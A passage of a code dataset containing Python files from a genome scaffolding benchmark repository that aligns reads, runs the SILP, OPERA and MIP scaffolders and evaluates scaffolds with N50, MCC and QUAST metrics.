test_adj.difference(true_adj)\\n\\n # compute the C statistic set.\\n C = m - len(A)\\n\\n # compute the D statistic set.\\n D = N - m - len(B)\\n\\n # return categories.\\n return len(A), len(B), C, D, A\\n\\n\\ndef _gap_deviation(RG, TG):\\n ''' calculate MAPE '''\\n\\n # find true edges.\\n radj = set(RG.edges())\\n tadj = set(TG.edges())\\n edges = tadj.intersection(radj)\\n\\n # calculate MAPE.\\n s = 0.0\\n for e0, e1 in edges:\\n At = RG[e0][e1]['gap']\\n Ft = TG[e0][e1]['gap']\\n if At != 0.0:\\n s += abs(float(At - Ft) / float(At))\\n\\n # return it.\\n try:\\n return (100.0 / float(len(edges))) * s\\n except:\\n return -1.0\\n\\ndef _get_runtime(agp_file):\\n\\n # read in agp.\\n fin = open(agp_file, \\\"rb\\\")\\n lines = fin.readlines()\\n fin.close()\\n\\n if len(lines) == 0:\\n return -1.0\\n\\n if lines[-1].count(\\\"RUNTIME\\\") == 0:\\n return -1.0\\n\\n # parse last line.\\n tmp = lines[-1].strip().split()\\n\\n return float(tmp[1])\\n\\n\\ndef _sanity_check(RG, TG, A, B, C, D):\\n ''' make sure these parameter make sense '''\\n\\n # set vars.\\n n = RG.number_of_nodes()\\n m = RG.number_of_edges()\\n N = n * (n-1)\\n\\n # run check 1: m = A + C.\\n check1 = m == A + C\\n\\n # run check 2: N - m = B + D.\\n check2 = N - m == B + D\\n\\n # run report.\\n fail = False\\n\\n if check1 == False:\\n logging.error(\\\"failed check 1: m = A + C, %i = %i + %i: %i\\\" % (m, A, C, m == A + C))\\n fail = True\\n\\n if check2 == False:\\n logging.error(\\\"failed check 2: N-m = B + D, %i - %i = %i + %i: %i\\\" % (N, m, B, D, N-m==B+D))\\n fail = True\\n\\n if fail == True:\\n sys.exit()\\n\\n\\ndef _dag_flip(RG, TG):\\n ''' flip to make most consistant '''\\n\\n # check it.\\n _graph_check(RG)\\n _graph_check(TG)\\n\\n # make set of reference.\\n rset = set(RG.edges())\\n\\n # loop over each component.\\n NG = nx.DiGraph()\\n for comp in nx.weakly_connected_components(TG):\\n\\n # turn to subgraph.\\n subg = TG.subgraph(comp)\\n\\n # make sets.\\n tset1 = set(subg.edges())\\n tset2 = set([(e1, e0) for e0, e1 in tset1])\\n\\n # check version.\\n s1 = len(rset.intersection(tset1))\\n s2 = len(rset.intersection(tset2))\\n\\n # add to nodes to new graph.\\n for n in subg.nodes():\\n NG.add_node(n, subg.node[n])\\n\\n # add the best matching orientation.\\n for e0, e1 in subg.edges():\\n if s1 >= s2:\\n NG.add_edge(e0, e1, subg[e0][e1])\\n else:\\n NG.add_edge(e1, e0, subg[e0][e1])\\n\\n # return it.\\n return NG\\n\\ndef _graph_check(G):\\n ''' makes sure its linear and a DAG '''\\n\\n # path check.\\n for n in G.nodes():\\n if G.number_of_edges(n) > 2:\\n logging.error(\\\"bad scaffold graph 1 \\\")\\n sys.exit(1)\\n\\n # DAG check.\\n if nx.is_directed_acyclic_graph(G) == False:\\n logging.error(\\\"bad scaffold graph 2\\\")\\n sys.exit(1)\\n\\ndef _calculate_n50(G, min_size=False, gap=False):\\n ''' calculates scaffold N50 given scaffold graph'''\\n\\n # compute the scaffold sizes.\\n sizes = _calc_sizes(G, min_size,gap)\\n\\n # calculate n50.\\n sizes.sort(reverse = True)\\n s = sum(sizes)\\n limit = s * 0.5\\n for l in sizes:\\n s -= l\\n if s <= limit:\\n return int(l)\\n \\ndef _fasta_n50(fasta_file, min_size=False, gap=False):\\n ''' calculates scaffold N50 given fasta file'''\\n\\n # load fasta.\\n seqs = _load_fasta(fasta_file)\\n\\n # compute the scaffold sizes.\\n sizes = [len(seqs[x]) for x in seqs]\\n\\n # calculate n50.\\n sizes.sort(reverse = True)\\n s = sum(sizes)\\n limit = s * 0.5\\n for l in sizes:\\n s -= l\\n if s <= limit:\\n return int(l)\\n\\n\\ndef _calc_sizes(G, min_size, gap, scaf_only=False):\\n sizes = list()\\n for comp in nx.weakly_connected_components(G):\\n\\n # skip non scaffolds.\\n if scaf_only == True:\\n if len(comp) < 2:\\n continue\\n\\n # add contig size.\\n size = 0\\n for n in comp:\\n size += G.node[n]['width']\\n\\n # add gap size.\\n if gap != False:\\n for p,q in G.edges(comp):\\n size += G[p][q]['gap']\\n\\n # skip this.\\n if min_size != False and size < min_size:\\n continue\\n\\n # save the size.\\n sizes.append(size)\\n return sizes\\n\\n\\ndef _calc_counts(G, min_size, gap, scaf_only=False):\\n sizes = list()\\n for comp in nx.weakly_connected_components(G):\\n\\n # skip non scaffolds.\\n if scaf_only == True:\\n if len(comp) < 2:\\n continue\\n\\n # add contig size.\\n size = 0\\n for n in comp:\\n size += G.node[n]['width']\\n\\n # add gap size.\\n if gap != False:\\n for p,q in G.edges(comp):\\n size += G[p][q]['gap']\\n\\n # skip this.\\n if min_size != False and size < min_size:\\n continue\\n\\n # save the size.\\n sizes.append(len(comp))\\n\\n return sizes\\n\\ndef _remove_difference(RG, TG):\\n ''' removes edges not in RG'''\\n\\n # make edge sets.\\n rset = set(RG.edges())\\n tset = set(TG.edges())\\n\\n # identify edges in test that shouldn't be there\\n to_remove = tset.difference(rset)\\n\\n # remove them.\\n TG.remove_edges_from(to_remove)\\n\\n # return modified graph.\\n return TG\\n\\ndef _load_fasta(file_path):\\n ''' loads fasta file into dictionary'''\\n\\n # read file into memory.\\n fin = open(file_path)\\n lines = fin.readlines()\\n fin.close()\\n\\n # build dictionary.\\n data = dict()\\n seq = \\\"\\\"\\n for line in lines:\\n\\n # Skip blanks.\\n if len(line) < 2: continue\\n if line[0] == \\\"#\\\": continue\\n\\n # remove blanks.\\n line = line.strip()\\n\\n # Check for ids.\\n if line.count(\\\">\\\") > 0:\\n\\n # Check if ending seq.\\n if len(seq) > 0:\\n\\n # save.\\n data[head] = seq.upper()\\n\\n # reset head.\\n head = line.replace(\\\">\\\",\\\"\\\")\\n seq = \\\"\\\"\\n\\n # skip to next line.\\n continue\\n\\n # Filter chars.\\n seq += line\\n\\n # save the last one.\\n data[head] = seq.upper()\\n\\n # return dictionary.\\n return data\\n\\n### public functions ###\\n\\ndef simulation_evaluation(ref_fasta, ctg_fasta, scf_fasta, ref_agp, scf_agp):\\n \\\"\\\"\\\" evaluates the simulated dataset \\\"\\\"\\\"\\n\\n # load the reference and test graph from AGP files.\\n RG = _agp_graph(ref_agp)\\n TG = _agp_graph(scf_agp, RG=RG)\\n\\n # calculate referece and ctg n50/\\n ref_N50 = _fasta_n50(ref_fasta, gap=True)\\n ctg_N50 = _fasta_n50(ctg_fasta, gap=True)\\n scf_N50 = _fasta_n50(scf_fasta, gap=True)\\n\\n # ensure we have all contigs accounted for.\\n assert set(TG.nodes()) == set(RG.nodes()),\\\\\\n 'not all contigs accounted for'\\n\\n # compute the exact N50\\n scf_N50_2, tp_N50, LG = _uconn_N50(RG, TG)\\n\\n # make edge sets.\\n radj = set(RG.edges())\\n tadj = set(TG.edges())\\n\\n # calculate 4 parameters.\\n n = RG.number_of_nodes()\\n A, B, C, D, A_SET = _compute_formula(radj, tadj, n)\\n\\n # compute derivativ stats.\\n sensitivity = (100*(float(A) / float(A+C)))\\n ppv = (100*(float(A) / float(A+B)))\\n if float(math.sqrt((A+B)*(A+C)*(D+B)*(D+C))) != 0.0:\\n mcc = (100*(float((A*D)-(B*C)) / float(math.sqrt((A+B)*(A+C)*(D+B)*(D+C)))))\\n else:\\n mcc = 0.0\\n\\n # get gap deviation.\\n gap_dev = _gap_deviation(RG, TG)\\n\\n # get the runtime.\\n runtime = _get_runtime(scf_agp)\\n\\n # print results.\\n # A B C D gapMape runtime sensitivity ppv mcc REFN50 TPN50 REPN50\\n return A, B, C, D, ppv, mcc, gap_dev, runtime, ref_N50, ctg_N50, scf_N50, tp_N50\\n\\n\\n\\ndef quast_evaluation(ref, ctgs, scf, sdir, threads):\\n\\n # note that we are running it.\\n logging.info(\\\"running quast %s %s %s\\\" % (ref, ctgs, scf))\\n\\n # run the comparison script.\\n x = ref.split(\\\"/\\\")\\n #z = '/'.join(x[0:-1] + [\\\"genes.gff\\\"])\\n\\n cmd = [\\\\\\n 'python',\\\\\\n '/opt/quast/quast.py',\\\\\\n \\\"-e\\\",\\n \\\"-f\\\",\\n # \\\"-G\\\", z,\\\\\\n \\\"-o\\\", \\\"./\\\",\\\\\\n \\\"-R\\\", ref,\\\\\\n \\\"-T\\\", str(threads),\\\\\\n scf\\\\\\n ]\\n\\n '''\\n # remove dir.\\n if os.path.isdir(sdir) == True:\\n subprocess.call([\\\"rm\\\", \\\"-rf\\\", sdir])\\n\\n # make dir.\\n if os.path.isdir(sdir) == False:\\n subprocess.call(['mkdir', '-p', sdir])\\n\\n # make log file.\\n lfile = \\\"%s/log.txt\\\" % sdir\\n\\n # capture output.\\n with open(lfile, 'w') as fout:\\n #if subprocess.call(cmd, stdout=fout, stderr=fout, cwd=sdir) != 0:\\n if subprocess.call(cmd, cwd=sdir) != 0:\\n logging.error('error running quast')\\n return -1, -1\\n '''\\n # open the output.\\n with open(\\\"%s/report.tsv\\\" % sdir) as fin:\\n results = fin.readlines()\\n tmp = list()\\n for result in results:\\n tmp.append(result.strip())\\n results = tmp\\n\\n # extract results.\\n lbls = list()\\n res1 = list()\\n res2 = list()\\n cnt = 0\\n for x in results:\\n tmp = x.split(\\\"\\\\t\\\")\\n lbls.append(tmp[0])\\n res1.append(tmp[1])\\n #res2.append(tmp[2])\\n res2.append(\\\"\\\")\\n #print cnt, tmp\\n cnt += 1\\n\\n res = np.array([lbls,res1,res2])\\n\\n return res\\n\"\n },\n {\n \"alpha_fraction\": 0.6042157411575317,\n \"alphanum_fraction\": 0.6186079382896423,\n \"avg_line_length\": 40.2152214050293,\n \"blob_id\": \"48689949114dc873eecf41293abc4fd75d21d7a3\",\n \"content_id\": \"4183ebc78fad20ceccd2fc1d6a3f8427a87a7c28\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 15703,\n \"license_type\": \"permissive\",\n \"max_line_length\": 159,\n \"num_lines\": 381,\n \"path\": \"/scafathon.py\",\n \"repo_name\": \"jim-bo/scafathon\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/python\\n'''\\nstandalone adapter for scripts outside of the directory structure.\\n'''\\n### imports ###\\n\\n# system\\nimport time\\nimport subprocess\\nimport warnings\\nimport argparse\\nimport logging\\nimport time\\nimport sys\\nimport os\\nimport numpy as np\\n\\nlogging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] %(message)s', )\\n\\n# local\\nfrom utils.align import create_idx, create_aln, pair_sam, pair_sam2\\nfrom utils.prep import prep_silp, prep_opera, prep_mip\\nfrom utils.run import run_silp, run_opera, run_mip\\nfrom utils.eval import simulation_evaluation, quast_evaluation\\n\\n# hack to silence argparser.\\nwarnings.filterwarnings('ignore', category=DeprecationWarning)\\n\\n### classes ###\\n\\n### functions ###\\n\\ndef align(args):\\n ''' aligns reads against reference '''\\n\\n # validate parameters.\\n assert os.path.isdir(args.base_dir), 'base_dir'\\n assert os.path.isfile(args.ctg_fasta), 'ctg_fasta'\\n assert os.path.isfile(args.read1_fastq), 'read1_fastq'\\n assert os.path.isfile(args.read2_fastq), 'read2_fastq'\\n assert os.path.isfile(args.size_file), 'size_file'\\n\\n # relavent files.\\n base_dir = os.path.abspath(args.base_dir)\\n\\n size_file = os.path.abspath(args.size_file)\\n ctg_fasta = os.path.abspath(args.ctg_fasta)\\n read1_fastq = os.path.abspath(args.read1_fastq)\\n read2_fastq = os.path.abspath(args.read2_fastq)\\n\\n tmp1_sam = os.path.abspath('%s/tmp1.sam' % base_dir)\\n tmp2_sam = os.path.abspath('%s/tmp2.sam' % base_dir)\\n\\n read1_sam = os.path.abspath('%s/read1.sam' % base_dir)\\n read2_sam = os.path.abspath('%s/read2.sam' % base_dir)\\n\\n ant_dir = '%s/ant' % base_dir\\n idx_dir = '%s/index' % base_dir\\n idx_file = '%s/index' % idx_dir\\n\\n # build index if not present.\\n if os.path.isdir(idx_dir) == False:\\n subprocess.call([\\\"mkdir\\\", \\\"-p\\\", idx_dir])\\n create_idx(ctg_fasta, idx_file)\\n\\n # remove annotation dir if present.\\n if os.path.isdir(ant_dir) == True:\\n subprocess.call([\\\"rm\\\", \\\"-rf\\\", ant_dir])\\n subprocess.call([\\\"mkdir\\\", \\\"-p\\\", ant_dir])\\n\\n # perform alignment.\\n create_aln(size_file, idx_file, read1_fastq, tmp1_sam, ant_dir, args.num_cpu)\\n create_aln(size_file, idx_file, read2_fastq, tmp2_sam, ant_dir, args.num_cpu)\\n\\n # pair the alignment.\\n pair_sam2(tmp1_sam, tmp2_sam, read1_sam, read2_sam, args.key_size)\\n\\ndef pair(args):\\n ''' pairs two same files '''\\n\\n # validate parameters.\\n assert os.path.isdir(args.base_dir), 'base_dir'\\n assert os.path.isfile(args.tmp1_sam), 'tmp1_sam'\\n assert os.path.isfile(args.tmp2_sam), 'tmp2_sam'\\n\\n # relavent files.\\n base_dir = os.path.abspath(args.base_dir)\\n tmp1_sam = os.path.abspath(args.tmp1_sam)\\n tmp2_sam = os.path.abspath(args.tmp2_sam)\\n read1_sam = os.path.abspath('%s/read1.sam' % base_dir)\\n read2_sam = os.path.abspath('%s/read2.sam' % base_dir)\\n\\n # pair the alignment.\\n pair_sam2(tmp1_sam, tmp2_sam, read1_sam, read2_sam, args.key_size)\\n\\ndef meta_combine(args):\\n \\\"\\\"\\\" combines two seperate alignments\\\"\\\"\\\"\\n\\n # validate parameters.\\n assert os.path.isdir(args.base_dir), 'base_dir'\\n assert os.path.isdir(args.work1_dir), 'w1_dir'\\n assert os.path.isdir(args.work2_dir), 'w2_dir'\\n\\n # switch based on subset.\\n if args.subsample == None:\\n\\n # combine reads.\\n with open(\\\"%s/read1.sam\\\" % args.base_dir, \\\"wb\\\") as fout:\\n subprocess.call([\\\"cat\\\",\\\"%s/read1.sam\\\" % args.work1_dir, \\\"%s/read1.sam\\\" % args.work2_dir], stdout=fout)\\n\\n with open(\\\"%s/read2.sam\\\" % args.base_dir, \\\"wb\\\") as fout:\\n subprocess.call([\\\"cat\\\",\\\"%s/read2.sam\\\" % args.work1_dir, \\\"%s/read2.sam\\\" % args.work2_dir], stdout=fout)\\n\\n else:\\n\\n # count number of lines.\\n cnt = 0\\n with open(\\\"%s/read1.sam\\\" % args.work1_dir, \\\"r\\\") as fin:\\n for line in fin:\\n cnt += 1\\n \\n # only output a percentage of them.\\n outp = float(cnt) * float(args.subsample)\\n \\n # first one.\\n with open(\\\"%s/read1.sam\\\" % args.base_dir, \\\"wb\\\") as fout:\\n cnt = 0\\n with open(\\\"%s/read1.sam\\\" % args.work1_dir, \\\"r\\\") as fin:\\n for line in fin:\\n if cnt > outp: break\\n fout.write(line)\\n cnt += 1\\n with open(\\\"%s/read1.sam\\\" % args.work2_dir, \\\"r\\\") as fin:\\n for line in fin:\\n fout.write(line)\\n \\n # second one.\\n with open(\\\"%s/read2.sam\\\" % args.base_dir, \\\"wb\\\") as fout:\\n cnt = 0\\n with open(\\\"%s/read2.sam\\\" % args.work1_dir, \\\"r\\\") as fin:\\n for line in fin:\\n if cnt > outp: break\\n fout.write(line)\\n cnt += 1\\n with open(\\\"%s/read2.sam\\\" % args.work2_dir, \\\"r\\\") as fin:\\n for line in fin:\\n fout.write(line)\\n\\n # copy one annotation.\\n subprocess.call([\\\"cp\\\", \\\"%s/ant\\\" % args.work1_dir, \\\"%s/ant\\\" % args.base_dir, \\\"-R\\\"])\\n subprocess.call([\\\"chmod\\\", \\\"u+w\\\", \\\"%s/ant\\\" % args.base_dir, \\\"-R\\\"])\\n\\n # combine the rest.\\n tmp1_dir = \\\"%s/ant\\\" % args.base_dir\\n tmp2_dir = \\\"%s/ant\\\" % args.work2_dir\\n for x in os.listdir(tmp2_dir):\\n\\n # simplify.\\n tmp1_x = \\\"%s/%s\\\" % (tmp1_dir,x)\\n tmp2_x = \\\"%s/%s\\\" % (tmp2_dir,x)\\n \\n # copy it if no problem.\\n if os.path.isfile(tmp1_x) == False:\\n subprocess.call([\\\"cp\\\", tmp2_x, tmp1_x])\\n\\n else:\\n # combine it.\\n tmp1_n = np.load(tmp1_x)\\n tmp2_n = np.load(tmp2_x)\\n np.save(tmp1_x, tmp1_n+tmp2_n)\\n\\ndef prepare(args):\\n \\\"\\\"\\\" prepares alignment given scaffolding method\\\"\\\"\\\"\\n\\n # extract information.\\n work_dir = os.path.abspath(args.base_dir)\\n align_dir = os.path.abspath(args.align_dir)\\n ant_dir = '%s/ant' % align_dir\\n\\n read1_sam = '%s/read1.sam' % align_dir\\n read2_sam = '%s/read2.sam' % align_dir\\n ctg_fasta = os.path.abspath(args.ctg_fasta)\\n prep_sh = '%s/prep.sh' % work_dir\\n\\n # translate pairmode.\\n if args.pair_mode == 0:\\n pair_mode = 'ff'\\n elif args.pair_mode == 1:\\n pair_mode = 'fr'\\n elif args.pair_mode == 2:\\n pair_mode = 'rf'\\n\\n # run the right prepare.\\n cmd_args = (work_dir, ant_dir, prep_sh, ctg_fasta, read1_sam, read2_sam, args.ins_size, args.std_dev, args.bundle_size, pair_mode, args)\\n if args.meth_mode == 0:\\n prep_silp(*cmd_args)\\n elif args.meth_mode == 1:\\n prep_opera(*cmd_args)\\n elif args.meth_mode == 2:\\n prep_mip(*cmd_args)\\n\\n\\ndef run(args):\\n \\\"\\\"\\\" extracts information for scaffolding\\\"\\\"\\\"\\n\\n # extract information.\\n work_dir = os.path.abspath(args.base_dir)\\n align_dir = os.path.abspath(args.align_dir)\\n ant_dir = '%s/ant' % align_dir\\n\\n read1_sam = '%s/read1.sam' % align_dir\\n read2_sam = '%s/read2.sam' % align_dir\\n ctg_fasta = os.path.abspath(args.ctg_fasta)\\n ctg_agp = '%s/scf.agp' % work_dir\\n scf_fasta = '%s/scf.fasta' % work_dir\\n run_sh = '%s/run.sh' % work_dir\\n\\n # translate pairmode.\\n if args.pair_mode == 0:\\n pair_mode = 'ff'\\n elif args.pair_mode == 1:\\n pair_mode = 'fr'\\n elif args.pair_mode == 2:\\n pair_mode = 'rf'\\n\\n # run the right prepare.\\n cmd_args = (work_dir, ant_dir, run_sh, ctg_fasta, scf_fasta, ctg_agp, read1_sam, read2_sam, args.ins_size, args.std_dev, args.bundle_size, pair_mode, args)\\n if args.meth_mode == 0:\\n run_silp(*cmd_args)\\n elif args.meth_mode == 1:\\n run_opera(*cmd_args)\\n elif args.meth_mode == 2:\\n run_mip(*cmd_args)\\n\\ndef sim_eval(args):\\n \\\"\\\"\\\"evaluates scaffold\\\"\\\"\\\"\\n\\n # simplify data.\\n ref_fasta = os.path.abspath(args.ref_fasta)\\n ctg_fasta = os.path.abspath(args.ctg_fasta)\\n scf_fasta = os.path.abspath(args.scf_fasta)\\n ref_agp = os.path.abspath(args.ref_agp)\\n scf_agp = os.path.abspath(args.scf_agp)\\n\\n # call evaluation code.\\n A, B, C, D, ppv, mcc, gap_dev, runtime, ref_N50, ctg_N50, scf_N50, tp_N50 = simulation_evaluation(ref_fasta, ctg_fasta, scf_fasta, ref_agp, scf_agp)\\n\\n # format and return.\\n txt = list()\\n txt.append('%d %d %d %d' % (A, B, C, D))\\n txt.append('%.2f %.2f' % (ppv, mcc))\\n txt.append('%.2f %.2f' % (gap_dev, runtime))\\n txt.append('%d %d %d %d' % (ref_N50, ctg_N50, scf_N50, tp_N50))\\n print ' '.join(txt)\\n\\ndef real_eval(args):\\n \\\"\\\"\\\"evaluates scaffold using alignme\\\"\\\"\\\"\\n\\n # simplify data.\\n ref_fasta = os.path.abspath(args.ref_fasta)\\n ctg_fasta = os.path.abspath(args.ctg_fasta)\\n scf_fasta = os.path.abspath(args.scf_fasta)\\n #ref_agp = os.path.abspath(args.ref_agp)\\n #scf_agp = os.path.abspath(args.scf_agp)\\n\\n # call quast\\n res = quast_evaluation(ref_fasta, ctg_fasta, scf_fasta, args.wd, args.threads)\\n\\n\\n # quast specific.\\n try: N50 = int(float(res[1,np.where(res[0,:] == \\\"N50\\\")[0][0]]))\\n except: N50 = 0\\n try: NG50 = int(float(res[1,np.where(res[0,:] == \\\"NG50\\\")[0][0]]))\\n except: NG50 = 0\\n try: GFRAC = float(res[1,np.where(res[0,:] == \\\"Genome fraction (%)\\\")[0][0]])\\n except: GFRAC = 0.0\\n try: NA50 = int(float(res[1,np.where(res[0,:] == \\\"NA50\\\")[0][0]]))\\n except: NA50 = 0\\n try: NGA50 = int(float(res[1,np.where(res[0,:] == \\\"NGA50\\\")[0][0]]))\\n except: NGA50 = 0\\n\\n # format and return.\\n txt = list()\\n txt.append(\\\"%d %d %.2f %d %d\\\" % (N50, NG50, GFRAC, NA50, NGA50))\\n\\n print ' '.join(txt)\\n\\n### script ###\\n\\nif __name__ == '__main__':\\n\\n # mode parser.\\n main_p = argparse.ArgumentParser()\\n subp = main_p.add_subparsers(help='sub-command help')\\n\\n ### data preparation ###\\n # import reference into working directory.\\n subp_p = subp.add_parser('align', help='aligns reads against contigs.')\\n subp_p.add_argument('-w', dest='base_dir', required=True, help='working directory')\\n subp_p.add_argument('-p', dest='num_cpu', type=int, required=True, help='number of threads for bowtie2')\\n subp_p.add_argument('-c', dest='ctg_fasta', required=True, help='contig fasta')\\n subp_p.add_argument('-q1', dest='read1_fastq', required=True, help='read first file')\\n subp_p.add_argument('-q2', dest='read2_fastq', required=True, help='read second file')\\n subp_p.add_argument('-s', dest='size_file', required=True, help='size file')\\n subp_p.add_argument('-k', dest='key_size', type=int, required=True, help='size of PE key at end of each read')\\n subp_p.set_defaults(func=align)\\n\\n subp_p = subp.add_parser('pair', help='pairs 2 SAM files')\\n subp_p.add_argument('-w', dest='base_dir', required=True, help='working directory')\\n subp_p.add_argument('-s1', dest='tmp1_sam', required=True, help='read first file')\\n subp_p.add_argument('-s2', dest='tmp2_sam', required=True, help='read second file')\\n subp_p.add_argument('-k', dest='key_size', type=int, required=True, help='size of PE key at end of each read')\\n subp_p.set_defaults(func=pair)\\n\\n # combines two seperate alignments.\\n subp_p = subp.add_parser('meta_combine', help='combines two seperate alignments. Used for meta scaffold testing.')\\n subp_p.add_argument('-w', dest='base_dir', required=True, help='working directory')\\n subp_p.add_argument('-w1', dest='work1_dir', required=True, help='working directory')\\n subp_p.add_argument('-w2', dest='work2_dir', required=True, help='working directory')\\n subp_p.add_argument('-s', dest='subsample', type=float, required=False, help='subsample first directory')\\n subp_p.set_defaults(func=meta_combine)\\n\\n # prepare the reference for scaffolding.\\n subp_p = subp.add_parser('prep', help='runs pre-processing stage.')\\n subp_p.add_argument('-c', dest='ctg_fasta', required=True, help='contig fasta')\\n subp_p.add_argument('-w', dest='base_dir', required=True, help='scaffolding directory')\\n subp_p.add_argument('-a', dest='align_dir', required=True, help='alignment directory')\\n subp_p.add_argument('-i', dest='ins_size', type=int, required=True, help='insert size')\\n subp_p.add_argument('-s', dest='std_dev', type=int, required=True, help='std_devition')\\n subp_p.add_argument('-b', dest='bundle_size', type=int, required=True, help='bundle size')\\n me_g = subp_p.add_mutually_exclusive_group(required=True)\\n me_g.add_argument('-ff', dest='pair_mode', action='store_const', const=0, help='SOLiD style -> ->')\\n me_g.add_argument('-fr', dest='pair_mode', action='store_const', const=1, help='innie style -> <-')\\n me_g.add_argument('-rf', dest='pair_mode', action='store_const', const=2, help='outtie style <- ->')\\n me_g = subp_p.add_mutually_exclusive_group(required=True)\\n me_g.add_argument('-silp', dest='meth_mode', action='store_const', const=0, help='SILP')\\n me_g.add_argument('-opera', dest='meth_mode', action='store_const', const=1, help='OPERA')\\n me_g.add_argument('-mip', dest='meth_mode', action='store_const', const=2, help='MIP')\\n subp_p.set_defaults(func=prepare)\\n\\n # run the scaffolding.\\n subp_p = subp.add_parser('run', help='runs the actual scaffolding')\\n subp_p.add_argument('-c', dest='ctg_fasta', required=True, help='contig fasta')\\n subp_p.add_argument('-w', dest='base_dir', required=True, help='scaffolding directory')\\n subp_p.add_argument('-a', dest='align_dir', required=True, help='alignment directory')\\n subp_p.add_argument('-i', dest='ins_size', type=int, required=True, help='insert size')\\n subp_p.add_argument('-s', dest='std_dev', type=int, required=True, help='std_devition')\\n subp_p.add_argument('-b', dest='bundle_size', type=int, required=True, help='bundle size')\\n me_g = subp_p.add_mutually_exclusive_group(required=True)\\n me_g.add_argument('-ff', dest='pair_mode', action='store_const', const=0, help='SOLiD style -> ->')\\n me_g.add_argument('-fr', dest='pair_mode', action='store_const', const=1, help='innie style -> <-')\\n me_g.add_argument('-rf', dest='pair_mode', action='store_const', const=2, help='outtie style <- ->')\\n me_g = subp_p.add_mutually_exclusive_group(required=True)\\n me_g.add_argument('-silp', dest='meth_mode', action='store_const', const=0, help='SILP')\\n me_g.add_argument('-opera', dest='meth_mode', action='store_const', const=1, help='OPERA')\\n me_g.add_argument('-mip', dest='meth_mode', action='store_const', const=2, help='MIP')\\n # SILP2 arguments.\\n subp_p.add_argument('-z', dest='weight_mode', type=int, default=0, help='SILP2: weight mode')\\n subp_p.set_defaults(func=run)\\n\\n # evaluate the scaffolding.\\n subp_p = subp.add_parser('sim_eval', help='evaluates scaffolding if there is a true AGP')\\n subp_p.add_argument('-r', dest='ref_fasta', required=True, help='reference fasta')\\n subp_p.add_argument('-c', dest='ctg_fasta', required=True, help='contig fasta')\\n subp_p.add_argument('-s', dest='scf_fasta', required=True, help='scaffold fasta')\\n subp_p.add_argument('-a', dest='ref_agp', required=True, help='reference agp')\\n subp_p.add_argument('-y', dest='scf_agp', required=True, help='predicted agp')\\n subp_p.set_defaults(func=sim_eval)\\n\\n # evaluate the scaffolding.\\n subp_p = subp.add_parser('real_eval', help='alignment based scaffold evaluation.')\\n subp_p.add_argument('-r', dest='ref_fasta', required=True, help='reference fasta')\\n subp_p.add_argument('-c', dest='ctg_fasta', required=True, help='contig fasta')\\n subp_p.add_argument('-s', dest='scf_fasta', required=True, help='scaffold fasta')\\n subp_p.add_argument('-y', dest='scf_agp', required=True, help='predicted agp')\\n subp_p.add_argument('-wd', dest='wd', required=True, help='alignment working directory')\\n subp_p.add_argument('-p', dest='threads', type=int, required=True, help='number of threads to align')\\n subp_p.set_defaults(func=real_eval)\\n\\n args = main_p.parse_args()\\n args.func(args)\\n\"\n },\n {\n \"alpha_fraction\": 0.492044597864151,\n \"alphanum_fraction\": 0.5010282397270203,\n \"avg_line_length\": 28.996753692626953,\n \"blob_id\": \"4b73b226cb70b797a4d76f19ced2424522dc0848\",\n \"content_id\": \"7c8f300d3e7e1ca4a613c8ea4663795fedce5b01\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 9239,\n \"license_type\": \"permissive\",\n \"max_line_length\": 143,\n \"num_lines\": 308,\n \"path\": \"/utils/run.py\",\n \"repo_name\": \"jim-bo/scafathon\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"'''\\ndrivers to prepare the data for scaffolding\\n'''\\nimport subprocess\\nimport os\\nimport time\\nimport numpy as np\\n\\nfrom utils.misc import *\\n\\n## private functions ##\\n\\n## public functions ##\\ndef run_silp(work_dir, ant_dir, run_sh, ctg_fasta, scf_fasta, ctg_agp, read1_sam, read2_sam, ins_size, std_dev, bundle_size, pair_mode, args):\\n \\\"\\\"\\\" SILP scaffolder \\\"\\\"\\\"\\n\\n # create command base.\\n cmd_base = ['python', '/home/jrl03001/code/SILP2/silp.py']\\n\\n # scaffolding/\\n job = list()\\n job.append('#!/bin/bash')\\n job.append('# scaffolding')\\n job.append('# start time')\\n job.append('start=$(date +%s)')\\n job.append('%s orient -w %s -z %s ' % (' '.join(cmd_base), work_dir, args.weight_mode))\\n job.append('%s order -w %s ' % (' '.join(cmd_base), work_dir))\\n job.append('%s gap -w %s ' % (' '.join(cmd_base), work_dir))\\n job.append('%s write -w %s -a %s' % (' '.join(cmd_base), work_dir, ctg_agp))\\n job.append('%s fasta -w %s -a %s -c %s -f %s' % (' '.join(cmd_base), work_dir, ctg_agp, ctg_fasta, scf_fasta))\\n job.append('# stop time')\\n job.append('stop=$(date +%s)')\\n job.append('echo RUNTIME: $(expr $stop - $start) >> %s' % ctg_agp)\\n job.append('')\\n runit(job, run_sh)\\n\\n\\ndef run_opera(work_dir, ant_dir, run_sh, ctg_fasta, scf_fasta, ctg_agp, read1_sam, read2_sam, ins_size, std_dev, bundle_size, pair_mode, args):\\n \\\"\\\"\\\" OPERA scaffolder \\\"\\\"\\\"\\n\\n # opera specific directories.\\n input_dir = '%s/input' % work_dir\\n results_dir = '%s/results' % work_dir\\n script_dir = '%s/script' % work_dir\\n output_dir = '%s/output' % work_dir\\n log_dir = '%s/log' % work_dir\\n for x in [input_dir, results_dir, script_dir, output_dir, log_dir]:\\n create_dir(x)\\n\\n # opera sepecific files.\\n edge_file = '%s/opera_raw.txt' % input_dir\\n config_file = '%s/opera.cfg' % input_dir\\n script_file = '%s/opera.sh' % input_dir\\n tout_file = '%s/scaffolds.scaf' % results_dir\\n tscf_file = '%s/scaffoldSeq.fasta' % results_dir\\n log_file = '%s/opera.log' % log_dir\\n\\n # write execution script.\\n job = list()\\n job.append('#!/bin/bash')\\n job.append('# scaffolding')\\n job.append('# start time')\\n job.append('start=$(date +%s)')\\n job.append('# run the job')\\n job.append('/opt/opera/bin/opera %s &> %s' % (config_file, log_file))\\n job.append('# stop time')\\n job.append('stop=$(date +%s)')\\n job.append('echo RUNTIME: $(expr $stop - $start) >> %s' % ctg_agp)\\n job.append('')\\n runit(job, run_sh)\\n\\n # load results.\\n fin = open(tout_file, \\\"rb\\\")\\n lines = fin.readlines()\\n fin.close()\\n\\n # load the runtime string.\\n with 